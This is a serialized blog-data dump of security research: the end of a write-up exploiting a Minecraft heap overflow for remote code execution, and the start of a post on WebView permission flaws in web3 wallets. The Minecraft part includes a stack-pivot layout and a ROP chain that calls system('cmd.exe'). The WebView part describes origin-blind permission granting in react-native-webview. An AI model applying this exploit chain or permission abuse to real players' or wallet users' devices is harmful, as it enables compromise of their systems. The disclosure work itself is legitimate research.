0x10; pop r14; ret |\n      +-----------------------------+\n+0x08 | padding                     |\n      +-----------------------------+\n+0x10 | xchg rsp, rax; ret          |\n      +-----------------------------+\n+0x18 | padding (pop r14)           |\n      +-----------------------------+\n+0x20 | ROP Chain                   |\n      +-----------------------------+\n",[158305],{"type":24,"tag":156,"props":158306,"children":158307},{"__ignoreMap":7},[158308],{"type":30,"value":158303},{"type":24,"tag":33,"props":158310,"children":158311},{},[158312,158314,158319,158321,158326,158328,158333,158335,158340,158342,158347,158349,158354,158356,158361],{"type":30,"value":158313},"The second gadget, ",{"type":24,"tag":156,"props":158315,"children":158317},{"className":158316},[],[158318],{"type":30,"value":158291},{"type":30,"value":158320},", is placed in the slot corresponding to the ",{"type":24,"tag":156,"props":158322,"children":158324},{"className":158323},[],[158325],{"type":30,"value":23843},{"type":30,"value":158327}," function pointer. As mentioned earlier, when ",{"type":24,"tag":156,"props":158329,"children":158331},{"className":158330},[],[158332],{"type":30,"value":158090},{"type":30,"value":158334}," is called, ",{"type":24,"tag":156,"props":158336,"children":158338},{"className":158337},[],[158339],{"type":30,"value":59864},{"type":30,"value":158341}," contains a pointer to ",{"type":24,"tag":156,"props":158343,"children":158345},{"className":158344},[],[158346],{"type":30,"value":158075},{"type":30,"value":158348}," - which we have overwritten and now points to our ",{"type":24,"tag":156,"props":158350,"children":158352},{"className":158351},[],[158353],{"type":30,"value":158284},{"type":30,"value":158355}," gadget in ",{"type":24,"tag":156,"props":158357,"children":158359},{"className":158358},[],[158360],{"type":30,"value":157837},{"type":30,"value":436},{"type":24,"tag":33,"props":158363,"children":158364},{},[158365,158367,158373,158375,158380,158382,158388,158390,158395,158397,158402,158404,158409,158411,158416,158418,158423,158425,158430],{"type":30,"value":158366},"When the call occurs, ",{"type":24,"tag":156,"props":158368,"children":158370},{"className":158369},[],[158371],{"type":30,"value":158372},"xchg rsp, rax",{"type":30,"value":158374}," swaps the stack pointer with this controlled pointer inside ",{"type":24,"tag":156,"props":158376,"children":158378},{"className":158377},[],[158379],{"type":30,"value":157837},{"type":30,"value":158381},", effectively moving ",{"type":24,"tag":156,"props":158383,"children":158385},{"className":158384},[],[158386],{"type":30,"value":158387},"rsp",{"type":30,"value":158389}," into our ROP region. After the ",{"type":24,"tag":156,"props":158391,"children":158393},{"className":158392},[],[158394],{"type":30,"value":14097},{"type":30,"value":158396},", execution continues at ",{"type":24,"tag":156,"props":158398,"children":158400},{"className":158399},[],[158401],{"type":30,"value":158284},{"type":30,"value":158403},", which advances ",{"type":24,"tag":156,"props":158405,"children":158407},{"className":158406},[],[158408],{"type":30,"value":158387},{"type":30,"value":158410}," by ",{"type":24,"tag":156,"props":158412,"children":158414},{"className":158413},[],[158415],{"type":30,"value":47625},{"type":30,"value":158417}," bytes, skipping over the padding and the ",{"type":24,"tag":156,"props":158419,"children":158421},{"className":158420},[],[158422],{"type":30,"value":158291},{"type":30,"value":158424}," gadget. From there, the stack pivot is complete and the ROP chain (placed above ",{"type":24,"tag":156,"props":158426,"children":158428},{"className":158427},[],[158429],{"type":30,"value":158291},{"type":30,"value":158431},") begins executing.",{"type":24,"tag":151,"props":158433,"children":158435},{"id":158434},"rop-chain",[158436],{"type":30,"value":158437},"ROP Chain",{"type":24,"tag":33,"props":158439,"children":158440},{},[158441,158443,158449,158451,158456],{"type":30,"value":158442},"For the demo, the ROP chain simply calls ",{"type":24,"tag":156,"props":158444,"children":158446},{"className":158445},[],[158447],{"type":30,"value":158448},"system(\"cmd.exe\")",{"type":30,"value":158450},". Because Minecraft does not use ",{"type":24,"tag":156,"props":158452,"children":158454},{"className":158453},[],[158455],{"type":30,"value":134180},{"type":30,"value":158457},", the symbol is not imported, so the chain must resolve it dynamically.",{"type":24,"tag":33,"props":158459,"children":158460},{},[158461,158463,158469,158471,158477,158479,158484,158486,158492,158494,158499],{"type":30,"value":158462},"This is straightforward: the chain first calls ",{"type":24,"tag":156,"props":158464,"children":158466},{"className":158465},[],[158467],{"type":30,"value":158468},"GetModuleHandle(\"ucrtbase.dll\")",{"type":30,"value":158470}," to obtain the base address of ",{"type":24,"tag":156,"props":158472,"children":158474},{"className":158473},[],[158475],{"type":30,"value":158476},"ucrtbase.dll",{"type":30,"value":158478}," (which exports ",{"type":24,"tag":156,"props":158480,"children":158482},{"className":158481},[],[158483],{"type":30,"value":134180},{"type":30,"value":158485},"). It then calls ",{"type":24,"tag":156,"props":158487,"children":158489},{"className":158488},[],[158490],{"type":30,"value":158491},"GetProcAddress(ucrtbase_addr, \"system\")",{"type":30,"value":158493}," to retrieve the function’s address. Finally, it invokes ",{"type":24,"tag":156,"props":158495,"children":158497},{"className":158496},[],[158498],{"type":30,"value":134180},{"type":30,"value":158500}," with the \"cmd.exe\" string.",{"type":24,"tag":33,"props":158502,"children":158503},{},[158504],{"type":30,"value":158505},"In the exploit script, the ROP chain looks something like this:",{"type":24,"tag":920,"props":158507,"children":158509},{"code":158508,"language":22563,"meta":7,"className":22564,"style":7},"# get the address of `GetModuleHandle` to `rax`\nrop.gadget(pop_r8)\nrop.gadget(addr_get_module_handle_a - 0x28)\n# 0x0000000145dcd83d : mov rax, qword ptr [r8 + 0x28] ; ret\nrop.gadget(mov_rax_r8_28)\n\n# call `GetModuleHandle(\"ucrtbase.dll\")`\nrop.gadget(pop_rcx)\nrop.gadget(0x7468B68) # offset of \"ucrtbase.dll\" string\nrop.gadget(ret) # movaps alignment\nrop.gadget(push_rax_ret) # calls `GetModuleHandle`\nrop.literal(u64(b\"ucrtbase\"))\nrop.literal(u64(b\".dll\\x00\\x00\\x00\\x00\"))\nrop.literal(u64(b\"system\\x00\\x00\"))\n\n# call `GetProcAddress(ucrtbase_base, \"system\")`\nrop.gadget(xchg_rcx_rax) # move the return value of `GetModuleHandle` to rcx\nrop.gadget(pop_rdx)\nrop.gadget(0x7468B68 + 0x10) # offset of \"system\" string\nrop.gadget(get_proc_addr)\n\n# call `system(\"cmd.exe\")`\nrop.gadget(pop_rcx)\nrop.gadget(0x7468DB8) # offset of \"cmd.exe\" string\nrop.gadget(ret) # movaps alignment\nrop.gadget(push_rax_ret) # calls `system`\nrop.literal(u64(b\"cmd.exe\\x00\"))\n",[158510],{"type":24,"tag":156,"props":158511,"children":158512},{"__ignoreMap":7},[158513,158521,158529,158554,158562,158570,158577,158585,158593,158620,158633,158646,158667,158696,158725,158732,158740,158753,158761,158797,158805,158812,158820,158827,158852,158863,158875],{"type":24,"tag":930,"props":158514,"children":158515},{"class":932,"line":933},[158516],{"type":24,"tag":930,"props":158517,"children":158518},{"style":1422},[158519],{"type":30,"value":158520},"# get the address of `GetModuleHandle` to `rax`\n",{"type":24,"tag":930,"props":158522,"children":158523},{"class":932,"line":984},[158524],{"type":24,"tag":930,"props":158525,"children":158526},{"style":959},[158527],{"type":30,"value":158528},"rop.gadget(pop_r8)\n",{"type":24,"tag":930,"props":158530,"children":158531},{"class":932,"line":993},[158532,158537,158541,158546,158550],{"type":24,"tag":930,"props":158533,"children":158534},{"style":959},[158535],{"type":30,"value":158536},"rop.gadget(addr_get_module_handle_a ",{"type":24,"tag":930,"props":158538,"children":158539},{"style":1158},[158540],{"type":30,"value":1215},{"type":24,"tag":930,"props":158542,"children":158543},{"style":937},[158544],{"type":30,"value":158545}," 0x",{"type":24,"tag":930,"props":158547,"children":158548},{"style":1242},[158549],{"type":30,"value":137297},{"type":24,"tag":930,"props":158551,"children":158552},{"style":959},[158553],{"type":30,"value":1054},{"type":24,"tag":930,"props":158555,"children":158556},{"class":932,"line":1057},[158557],{"type":24,"tag":930,"props":158558,"children":158559},{"style":1422},[158560],{"type":30,"value":158561},"# 0x0000000145dcd83d : mov rax, qword ptr [r8 + 0x28] ; ret\n",{"type":24,"tag":930,"props":158563,"children":158564},{"class":932,"line":1066},[158565],{"type":24,"tag":930,"props":158566,"children":158567},{"style":959},[158568],{"type":30,"value":158569},"rop.gadget(mov_rax_r8_28)\n",{"type":24,"tag":930,"props":158571,"children":158572},{"class":932,"line":1075},[158573],{"type":24,"tag":930,"props":158574,"children":158575},{"emptyLinePlaceholder":16},[158576],{"type":30,"value":2412},{"type":24,"tag":930,"props":158578,"children":158579},{"class":932,"line":1122},[158580],{"type":24,"tag":930,"props":158581,"children":158582},{"style":1422},[158583],{"type":30,"value":158584},"# call `GetModuleHandle(\"ucrtbase.dll\")`\n",{"type":24,"tag":930,"props":158586,"children":158587},{"class":932,"line":1131},[158588],{"type":24,"tag":930,"props":158589,"children":158590},{"style":959},[158591],{"type":30,"value":158592},"rop.gadget(pop_rcx)\n",{"type":24,"tag":930,"props":158594,"children":158595},{"class":932,"line":1144},[158596,158601,158606,158611,158615],{"type":24,"tag":930,"props":158597,"children":158598},{"style":959},[158599],{"type":30,"value":158600},"rop.gadget(",{"type":24,"tag":930,"props":158602,"children":158603},{"style":937},[158604],{"type":30,"value":158605},"0x",{"type":24,"tag":930,"props":158607,"children":158608},{"style":1242},[158609],{"type":30,"value":158610},"7468B68",{"type":24,"tag":930,"props":158612,"children":158613},{"style":959},[158614],{"type":30,"value":5579},{"type":24,"tag":930,"props":158616,"children":158617},{"style":1422},[158618],{"type":30,"value":158619},"# offset of \"ucrtbase.dll\" string\n",{"type":24,"tag":930,"props":158621,"children":158622},{"class":932,"line":1169},[158623,158628],{"type":24,"tag":930,"props":158624,"children":158625},{"style":959},[158626],{"type":30,"value":158627},"rop.gadget(ret) ",{"type":24,"tag":930,"props":158629,"children":158630},{"style":1422},[158631],{"type":30,"value":158632},"# movaps alignment\n",{"type":24,"tag":930,"props":158634,"children":158635},{"class":932,"line":1191},[158636,158641],{"type":24,"tag":930,"props":158637,"children":158638},{"style":959},[158639],{"type":30,"value":158640},"rop.gadget(push_rax_ret) ",{"type":24,"tag":930,"props":158642,"children":158643},{"style":1422},[158644],{"type":30,"value":158645},"# calls `GetModuleHandle`\n",{"type":24,"tag":930,"props":158647,"children":158648},{"class":932,"line":1223},[158649,158654,158658,158663],{"type":24,"tag":930,"props":158650,"children":158651},{"style":959},[158652],{"type":30,"value":158653},"rop.literal(u64(",{"type":24,"tag":930,"props":158655,"children":158656},{"style":937},[158657],{"type":30,"value":6343},{"type":24,"tag":930,"props":158659,"children":158660},{"style":1270},[158661],{"type":30,"value":158662},"\"ucrtbase\"",{"type":24,"tag":930,"props":158664,"children":158665},{"style":959},[158666],{"type":30,"value":22815},{"type":24,"tag":930,"props":158668,"children":158669},{"class":932,"line":1281},[158670,158674,158678,158683,158688,158692],{"type":24,"tag":930,"props":158671,"children":158672},{"style":959},[158673],{"type":30,"value":158653},{"type":24,"tag":930,"props":158675,"children":158676},{"style":937},[158677],{"type":30,"value":6343},{"type":24,"tag":930,"props":158679,"children":158680},{"style":1270},[158681],{"type":30,"value":158682},"\".dll",{"type":24,"tag":930,"props":158684,"children":158685},{"style":51463},[158686],{"type":30,"value":158687},"\\x00\\x00\\x00\\x00",{"type":24,"tag":930,"props":158689,"children":158690},{"style":1270},[158691],{"type":30,"value":23163},{"type":24,"tag":930,"props":158693,"children":158694},{"style":959},[158695],{"type":30,"value":22815},{"type":24,"tag":930,"props":158697,"children":158698},{"class":932,"line":1313},[158699,158703,158707,158712,158717,158721],{"type":24,"tag":930,"props":158700,"children":158701},{"style":959},[158702],{"type":30,"value":158653},{"type":24,"tag":930,"props":158704,"children":158705},{"style":937},[158706],{"type":30,"value":6343},{"type":24,"tag":930,"props":158708,"children":158709},{"style":1270},[158710],{"type":30,"value":158711},"\"system",{"type":24,"tag":930,"props":158713,"children":158714},{"style":51463},[158715],{"type":30,"value":158716},"\\x00\\x00",{"type":24,"tag":930,"props":158718,"children":158719},{"style":1270},[158720],{"type":30,"value":23163},{"type":24,"tag":930,"props":158722,"children":158723},{"style":959},[158724],{"type":30,"value":22815},{"type":24,"tag":930,"props":158726,"children":158727},{"class":932,"line":1335},[158728],{"type":24,"tag":930,"props":158729,"children":158730},{"emptyLinePlaceholder":16},[158731],{"type":30,"value":2412},{"type":24,"tag":930,"props":158733,"children":158734},{"class":932,"line":1376},[158735],{"type":24,"tag":930,"props":158736,"children":158737},{"style":1422},[158738],{"type":30,"value":158739},"# call `GetProcAddress(ucrtbase_base, \"system\")`\n",{"type":24,"tag":930,"props":158741,"children":158742},{"class":932,"line":1418},[158743,158748],{"type":24,"tag":930,"props":158744,"children":158745},{"style":959},[158746],{"type":30,"value":158747},"rop.gadget(xchg_rcx_rax) ",{"type":24,"tag":930,"props":158749,"children":158750},{"style":1422},[158751],{"type":30,"value":158752},"# move the return value of `GetModuleHandle` to rcx\n",{"type":24,"tag":930,"props":158754,"children":158755},{"class":932,"line":1438},[158756],{"type":24,"tag":930,"props":158757,"children":158758},{"style":959},[158759],{"type":30,"value":158760},"rop.gadget(pop_rdx)\n",{"type":24,"tag":930,"props":158762,"children":158763},{"class":932,"line":1479},[158764,158768,158772,158776,158780,158784,158788,158792],{"type":24,"tag":930,"props":158765,"children":158766},{"style":959},[158767],{"type":30,"value":158600},{"type":24,"tag":930,"props":158769,"children":158770},{"style":937},[158771],{"type":30,"value":158605},{"type":24,"tag":930,"props":158773,"children":158774},{"style":1242},[158775],{"type":30,"value":158610},{"type":24,"tag":930,"props":158777,"children":158778},{"style":1158},[158779],{"type":30,"value":12014},{"type":24,"tag":930,"props":158781,"children":158782},{"style":937},[158783],{"type":30,"value":158545},{"type":24,"tag":930,"props":158785,"children":158786},{"style":1242},[158787],{"type":30,"value":92321},{"type":24,"tag":930,"props":158789,"children":158790},{"style":959},[158791],{"type":30,"value":5579},{"type":24,"tag":930,"props":158793,"children":158794},{"style":1422},[158795],{"type":30,"value":158796},"# offset of \"system\" string\n",{"type":24,"tag":930,"props":158798,"children":158799},{"class":932,"line":1506},[158800],{"type":24,"tag":930,"props":158801,"children":158802},{"style":959},[158803],{"type":30,"value":158804},"rop.gadget(get_proc_addr)\n",{"type":24,"tag":930,"props":158806,"children":158807},{"class":932,"line":1525},[158808],{"type":24,"tag":930,"props":158809,"children":158810},{"emptyLinePlaceholder":16},[158811],{"type":30,"value":2412},{"type":24,"tag":930,"props":158813,"children":158814},{"class":932,"line":1569},[158815],{"type":24,"tag":930,"props":158816,"children":158817},{"style":1422},[158818],{"type":30,"value":158819},"# call `system(\"cmd.exe\")`\n",{"type":24,"tag":930,"props":158821,"children":158822},{"class":932,"line":1592},[158823],{"type":24,"tag":930,"props":158824,"children":158825},{"style":959},[158826],{"type":30,"value":158592},{"type":24,"tag":930,"props":158828,"children":158829},{"class":932,"line":1610},[158830,158834,158838,158843,158847],{"type":24,"tag":930,"props":158831,"children":158832},{"style":959},[158833],{"type":30,"value":158600},{"type":24,"tag":930,"props":158835,"children":158836},{"style":937},[158837],{"type":30,"value":158605},{"type":24,"tag":930,"props":158839,"children":158840},{"style":1242},[158841],{"type":30,"value":158842},"7468DB8",{"type":24,"tag":930,"props":158844,"children":158845},{"style":959},[158846],{"type":30,"value":5579},{"type":24,"tag":930,"props":158848,"children":158849},{"style":1422},[158850],{"type":30,"value":158851},"# offset of \"cmd.exe\" string\n",{"type":24,"tag":930,"props":158853,"children":158854},{"class":932,"line":1628},[158855,158859],{"type":24,"tag":930,"props":158856,"children":158857},{"style":959},[158858],{"type":30,"value":158627},{"type":24,"tag":930,"props":158860,"children":158861},{"style":1422},[158862],{"type":30,"value":158632},{"type":24,"tag":930,"props":158864,"children":158865},{"class":932,"line":1637},[158866,158870],{"type":24,"tag":930,"props":158867,"children":158868},{"style":959},[158869],{"type":30,"value":158640},{"type":24,"tag":930,"props":158871,"children":158872},{"style":1422},[158873],{"type":30,"value":158874},"# calls `system`\n",{"type":24,"tag":930,"props":158876,"children":158877},{"class":932,"line":1646},[158878,158882,158886,158891,158896,158900],{"type":24,"tag":930,"props":158879,"children":158880},{"style":959},[158881],{"type":30,"value":158653},{"type":24,"tag":930,"props":158883,"children":158884},{"style":937},[158885],{"type":30,"value":6343},{"type":24,"tag":930,"props":158887,"children":158888},{"style":1270},[158889],{"type":30,"value":158890},"\"cmd.exe",{"type":24,"tag":930,"props":158892,"children":158893},{"style":51463},[158894],{"type":30,"value":158895},"\\x00",{"type":24,"tag":930,"props":158897,"children":158898},{"style":1270},[158899],{"type":30,"value":23163},{"type":24,"tag":930,"props":158901,"children":158902},{"style":959},[158903],{"type":30,"value":22815},{"type":24,"tag":151,"props":158905,"children":158907},{"id":158906},"demo",[158908],{"type":30,"value":158909},"Demo",{"type":24,"tag":33,"props":158911,"children":158912},{},[158913],{"type":30,"value":158914},"The demo video below shows a Molang script achieving arbitrary read and write primitives to execute the previous ROP chain:",{"type":24,"tag":134286,"props":158916,"children":158919},{"className":158917,"controls":16},[144253,158918],"blog-video-wide",[158920,158921,158925],{"type":30,"value":144256},{"type":24,"tag":143492,"props":158922,"children":158924},{"src":158923,"type":134284},"/posts/minecraft-heap-overflow-to-rce/demo.mp4",[],{"type":30,"value":144262},{"type":24,"tag":68,"props":158927,"children":158928},{"id":5876},[158929],{"type":30,"value":5879},{"type":24,"tag":33,"props":158931,"children":158932},{},[158933],{"type":30,"value":158934},"This blog post is quite long, which reflects how modern mitigations make remote exploitation highly cumbersome - but still not impossible.",{"type":24,"tag":33,"props":158936,"children":158937},{},[158938],{"type":30,"value":158939},"It also demonstrates an interesting technique of abusing Molang to achieve RCE without relying on client information leaks.",{"type":24,"tag":33,"props":158941,"children":158942},{},[158943],{"type":30,"value":158944},"Finally, it highlights an underexplored area in security: video games. Even massively popular games like Minecraft contain large, complex, and unexplored attack surfaces.",{"type":24,"tag":5957,"props":158946,"children":158947},{},[158948],{"type":30,"value":5961},{"title":7,"searchDepth":984,"depth":984,"links":158950},[158951,158955,158960,158971],{"id":149611,"depth":984,"text":149614,"children":158952},[158953,158954],{"id":149646,"depth":993,"text":149649},{"id":149662,"depth":993,"text":149665},{"id":149683,"depth":984,"text":149686,"children":158956},[158957,158958,158959],{"id":149699,"depth":993,"text":149702},{"id":149787,"depth":993,"text":149790},{"id":152087,"depth":993,"text":152090},{"id":8532,"depth":984,"text":8535,"children":158961},[158962,158963,158964,158965,158966,158967,158968,158969,158970],{"id":152194,"depth":993,"text":152197},{"id":152219,"depth":993,"text":152222},{"id":152356,"depth":993,"text":152359},{"id":154520,"depth":993,"text":154523},{"id":154882,"depth":993,"text":154885},{"id":155702,"depth":993,"text":155705},{"id":157816,"depth":993,"text":157819},{"id":158434,"depth":993,"text":158437},{"id":158906,"depth":993,"text":158909},{"id":5876,"depth":984,"text":5879},"content:blog:2026-06-02-minecraft-heap-overflow-to-rce.md","blog/2026-06-02-minecraft-heap-overflow-to-rce.md","blog/2026-06-02-minecraft-heap-overflow-to-rce",{"_path":158976,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":158977,"description":158978,"date":158979,"author":158980,"image":158982,"isFeatured":16,"onBlogPage":16,"tags":158984,"body":158986,"_type":5983,"_id":161309,"_source":5985,"_file":161310,"_stem":161311,"_extension":5988},"/blog/2026-06-18-goldmine-of-insecure-webview-integrations","The Goldmine of Insecure WebView Integrations","WebViews in mobile web3 wallets can quietly inherit the permissions granted to the wallet app itself. We found 20+ major wallets where a malicious dApp could access core permissions without authorization.","2026-06-18T12:00:00.000Z",[34293,34292,158981],"nikolaos",{"src":158983,"width":14,"height":15},"/posts/insecure-webview-integrations/title.png",[35231,134392,158985],"webview",{"type":21,"children":158987,"toc":161296},[158988,158993,158998,159004,159009,159014,159019,159025,159030,159036,159058,159071,159091,159105,159111,159125,159133,159138,159144,159149,159158,159179,159323,159328,159334,159339,159344,159358,159362,159367,159385,160813,160817,160822,160834,160843,160848,160854,160876,160884,160889,160895,160900,160918,160923,160929,160942,161224,161252,161265,161270,161283,161287,161292],{"type":24,"tag":33,"props":158989,"children":158990},{},[158991],{"type":30,"value":158992},"WebViews are everywhere in mobile web3 wallets, but they are often treated as just a convenient way to load dApps. In reality, they can quietly inherit powerful app capabilities that attackers can exploit.",{"type":24,"tag":33,"props":158994,"children":158995},{},[158996],{"type":30,"value":158997},"In this article, we look at several WebView issues we found across wallet apps and libraries, including some issues in React Native.",{"type":24,"tag":25,"props":158999,"children":159001},{"id":159000},"exploiting-mobile-webviews",[159002],{"type":30,"value":159003},"Exploiting Mobile WebViews",{"type":24,"tag":33,"props":159005,"children":159006},{},[159007],{"type":30,"value":159008},"A well known feature of most web3 wallets is the ability to interact with decentralized applications, often referred to as dApps.",{"type":24,"tag":33,"props":159010,"children":159011},{},[159012],{"type":30,"value":159013},"For a wallet application to be compatible with various dApps, it must support a message exchange system between the dApp webpage and the underlying wallet. On both Android and iOS, this is often achieved by loading the webpage inside a WebView component.",{"type":24,"tag":33,"props":159015,"children":159016},{},[159017],{"type":30,"value":159018},"Since dApps are such a widely supported feature, our main research goal was to uncover lesser known vulnerabilities affecting most - if not all - WebView implementations. One issue we repeatedly encountered is related to how React Native WebView handles permission requests. In order to understand these vulnerabilities and how they can be exploited, we first need to dig into how iOS and Android WebViews actually work.",{"type":24,"tag":68,"props":159020,"children":159022},{"id":159021},"handling-webview-permissions",[159023],{"type":30,"value":159024},"Handling WebView permissions",{"type":24,"tag":33,"props":159026,"children":159027},{},[159028],{"type":30,"value":159029},"In this section, we'll get into the inner workings of permission requests and how they are handled on Android compared to iOS.",{"type":24,"tag":151,"props":159031,"children":159033},{"id":159032},"android",[159034],{"type":30,"value":159035},"Android",{"type":24,"tag":33,"props":159037,"children":159038},{},[159039,159041,159048,159050,159056],{"type":30,"value":159040},"If we take a look at the Android documentation, the method responsible for granting or denying permission requests is ",{"type":24,"tag":37,"props":159042,"children":159045},{"href":159043,"rel":159044},"https://developer.android.com/reference/android/webkit/WebChromeClient#onPermissionRequest(android.webkit.PermissionRequest)",[41],[159046],{"type":30,"value":159047},"onPermissionRequest",{"type":30,"value":159049},". When a new permission request is triggered by a webpage, this method is called with a ",{"type":24,"tag":156,"props":159051,"children":159053},{"className":159052},[],[159054],{"type":30,"value":159055},"PermissionRequest",{"type":30,"value":159057}," object where the WebView developers must decide whether to grant or deny it.",{"type":24,"tag":6054,"props":159059,"children":159060},{},[159061],{"type":24,"tag":33,"props":159062,"children":159063},{},[159064,159066,159069],{"type":30,"value":159065},"Notify the host application that web content is requesting permission to access the specified resources and the permission currently isn't granted or denied. The host application must invoke PermissionRequest.grant(String",{"type":24,"tag":930,"props":159067,"children":159068},{},[],{"type":30,"value":159070},") or PermissionRequest.deny(). If this method isn't overridden, the permission is denied.",{"type":24,"tag":33,"props":159072,"children":159073},{},[159074,159076,159082,159084,159090],{"type":30,"value":159075},"This object contains all the necessary information to evaluate the request, such as the webpage origin with ",{"type":24,"tag":156,"props":159077,"children":159079},{"className":159078},[],[159080],{"type":30,"value":159081},"getOrigin()",{"type":30,"value":159083}," and the requested permissions with ",{"type":24,"tag":156,"props":159085,"children":159087},{"className":159086},[],[159088],{"type":30,"value":159089},"getResources()",{"type":30,"value":436},{"type":24,"tag":33,"props":159092,"children":159093},{},[159094,159096,159103],{"type":30,"value":159095},"If we read the previous Android documentation carefully, we will see that any permission requests are denied by default. For this reason, most WebView wrappers opt to enable permission granting by overwriting this method, such as the official ",{"type":24,"tag":37,"props":159097,"children":159100},{"href":159098,"rel":159099},"https://chromium.googlesource.com/chromium/src/+/HEAD/android_webview/tools/system_webview_shell/apk/src/org/chromium/webview_shell/WebViewBrowserFragment.java#644",[41],[159101],{"type":30,"value":159102},"webview_shell",{"type":30,"value":159104},". In this instance, no origin checks are performed.",{"type":24,"tag":151,"props":159106,"children":159108},{"id":159107},"ios",[159109],{"type":30,"value":159110},"iOS",{"type":24,"tag":33,"props":159112,"children":159113},{},[159114,159116,159123],{"type":30,"value":159115},"On the contrary, iOS ",{"type":24,"tag":37,"props":159117,"children":159120},{"href":159118,"rel":159119},"https://developer.apple.com/documentation/webkit/wkuidelegate/webview(_:requestmediacapturepermissionfor:initiatedbyframe:type:decisionhandler:)?language=objc",[41],[159121],{"type":30,"value":159122},"documentation",{"type":30,"value":159124}," states that:",{"type":24,"tag":6054,"props":159126,"children":159127},{},[159128],{"type":24,"tag":33,"props":159129,"children":159130},{},[159131],{"type":30,"value":159132},"If you don’t implement this method in your delegate, the system returns WKPermissionDecisionPrompt.",{"type":24,"tag":33,"props":159134,"children":159135},{},[159136],{"type":30,"value":159137},"This effectively means that by default, iOS determines whether a webpage (bound by its security origin) can access any permission using a prompt message. In this way, origin isolation for permission requests on iOS apps is enforced by default.",{"type":24,"tag":68,"props":159139,"children":159141},{"id":159140},"the-shortcomings-of-webview-implementations",[159142],{"type":30,"value":159143},"The shortcomings of WebView implementations",{"type":24,"tag":33,"props":159145,"children":159146},{},[159147],{"type":30,"value":159148},"Most web3 mobile wallets have an in-app feature that allows users to scan QR codes for a more user-friendly transaction experience. However, to use this feature, the user must grant the app permission to access the camera. Since this is a powerful permission, a pop-up will appear.",{"type":24,"tag":34438,"props":159150,"children":159151},{"style":34440},[159152],{"type":24,"tag":140,"props":159153,"children":159157},{"src":159154,"alt":159155,"style":159156},"/posts/insecure-webview-integrations/image1.png","Camera permission prompt","max-height:360px; width:auto; max-width:100%;",[],{"type":24,"tag":33,"props":159159,"children":159160},{},[159161,159163,159169,159171,159177],{"type":30,"value":159162},"Since most wallets are based on React Native, the most commonly used WebView implementation is ",{"type":24,"tag":156,"props":159164,"children":159166},{"className":159165},[],[159167],{"type":30,"value":159168},"react-native-webview",{"type":30,"value":159170},". If we take a look at how they handle a request that reaches the ",{"type":24,"tag":37,"props":159172,"children":159175},{"href":159173,"rel":159174},"https://github.com/react-native-webview/react-native-webview/blob/eb8ccacd35740af39993725ad1b592d45364a510/android/src/main/java/com/reactnativecommunity/webview/RNCWebChromeClient.java#L146",[41],[159176],{"type":30,"value":159047},{"type":30,"value":159178}," method, we see a similar pattern.",{"type":24,"tag":920,"props":159180,"children":159184},{"className":159181,"code":159182,"language":159183,"meta":7,"style":7},"language-java shiki shiki-themes slack-dark","// If all the permissions are already granted, send the response to the WebView synchronously\nif (requestedAndroidPermissions.isEmpty()) {\n    request.grant(grantedPermissions.toArray(new String[0]));\n    grantedPermissions = null;\n    return;\n}\n","java",[159185],{"type":24,"tag":156,"props":159186,"children":159187},{"__ignoreMap":7},[159188,159196,159225,159285,159305,159316],{"type":24,"tag":930,"props":159189,"children":159190},{"class":932,"line":933},[159191],{"type":24,"tag":930,"props":159192,"children":159193},{"style":1422},[159194],{"type":30,"value":159195},"// If all the permissions are already granted, send the response to the WebView synchronously\n",{"type":24,"tag":930,"props":159197,"children":159198},{"class":932,"line":984},[159199,159203,159207,159212,159216,159221],{"type":24,"tag":930,"props":159200,"children":159201},{"style":1079},[159202],{"type":30,"value":18683},{"type":24,"tag":930,"props":159204,"children":159205},{"style":959},[159206],{"type":30,"value":1087},{"type":24,"tag":930,"props":159208,"children":159209},{"style":1023},[159210],{"type":30,"value":159211},"requestedAndroidPermissions",{"type":24,"tag":930,"props":159213,"children":159214},{"style":959},[159215],{"type":30,"value":436},{"type":24,"tag":930,"props":159217,"children":159218},{"style":1002},[159219],{"type":30,"value":159220},"isEmpty",{"type":24,"tag":930,"props":159222,"children":159223},{"style":959},[159224],{"type":30,"value":95086},{"type":24,"tag":930,"props":159226,"children":159227},{"class":932,"line":993},[159228,159233,159237,159242,159246,159251,159255,159260,159264,159268,159273,159277,159281],{"type":24,"tag":930,"props":159229,"children":159230},{"style":1023},[159231],{"type":30,"value":159232},"    request",{"type":24,"tag":930,"props":159234,"children":159235},{"style":959},[159236],{"type":30,"value":436},{"type":24,"tag":930,"props":159238,"children":159239},{"style":1002},[159240],{"type":30,"value":159241},"grant",{"type":24,"tag":930,"props":159243,"children":159244},{"style":959},[159245],{"type":30,"value":1010},{"type":24,"tag":930,"props":159247,"children":159248},{"style":1023},[159249],{"type":30,"value":159250},"grantedPermissions",{"type":24,"tag":930,"props":159252,"children":159253},{"style":959},[159254],{"type":30,"value":436},{"type":24,"tag":930,"props":159256,"children":159257},{"style":1002},[159258],{"type":30,"value":159259},"toArray",{"type":24,"tag":930,"props":159261,"children":159262},{"style":959},[159263],{"type":30,"value":1010},{"type":24,"tag":930,"props":159265,"children":159266},{"style":1079},[159267],{"type":30,"value":18226},{"type":24,"tag":930,"props":159269,"children":159270},{"style":943},[159271],{"type":30,"value":159272}," String",{"type":24,"tag":930,"props":159274,"children":159275},{"style":959},[159276],{"type":30,"value":6849},{"type":24,"tag":930,"props":159278,"children":159279},{"style":1242},[159280],{"type":30,"value":1818},{"type":24,"tag":930,"props":159282,"children":159283},{"style":959},[159284],{"type":30,"value":1566},{"type":24,"tag":930,"props":159286,"children":159287},{"class":932,"line":1057},[159288,159293,159297,159301],{"type":24,"tag":930,"props":159289,"children":159290},{"style":959},[159291],{"type":30,"value":159292},"    grantedPermissions ",{"type":24,"tag":930,"props":159294,"children":159295},{"style":1158},[159296],{"type":30,"value":1161},{"type":24,"tag":930,"props":159298,"children":159299},{"style":937},[159300],{"type":30,"value":73354},{"type":24,"tag":930,"props":159302,"children":159303},{"style":959},[159304],{"type":30,"value":5539},{"type":24,"tag":930,"props":159306,"children":159307},{"class":932,"line":1066},[159308,159312],{"type":24,"tag":930,"props":159309,"children":159310},{"style":1079},[159311],{"type":30,"value":20090},{"type":24,"tag":930,"props":159313,"children":159314},{"style":959},[159315],{"type":30,"value":5539},{"type":24,"tag":930,"props":159317,"children":159318},{"class":932,"line":1075},[159319],{"type":24,"tag":930,"props":159320,"children":159321},{"style":959},[159322],{"type":30,"value":2528},{"type":24,"tag":33,"props":159324,"children":159325},{},[159326],{"type":30,"value":159327},"As we can see above, if the Android app has already been granted access to the requested permissions, this method simply allows the loaded WebView to use them. This follows the same pattern as Google's WebView Shell implementation - no origin checks being performed. When this behavior is now combined with the typical web3 wallet features, namely dApps, a 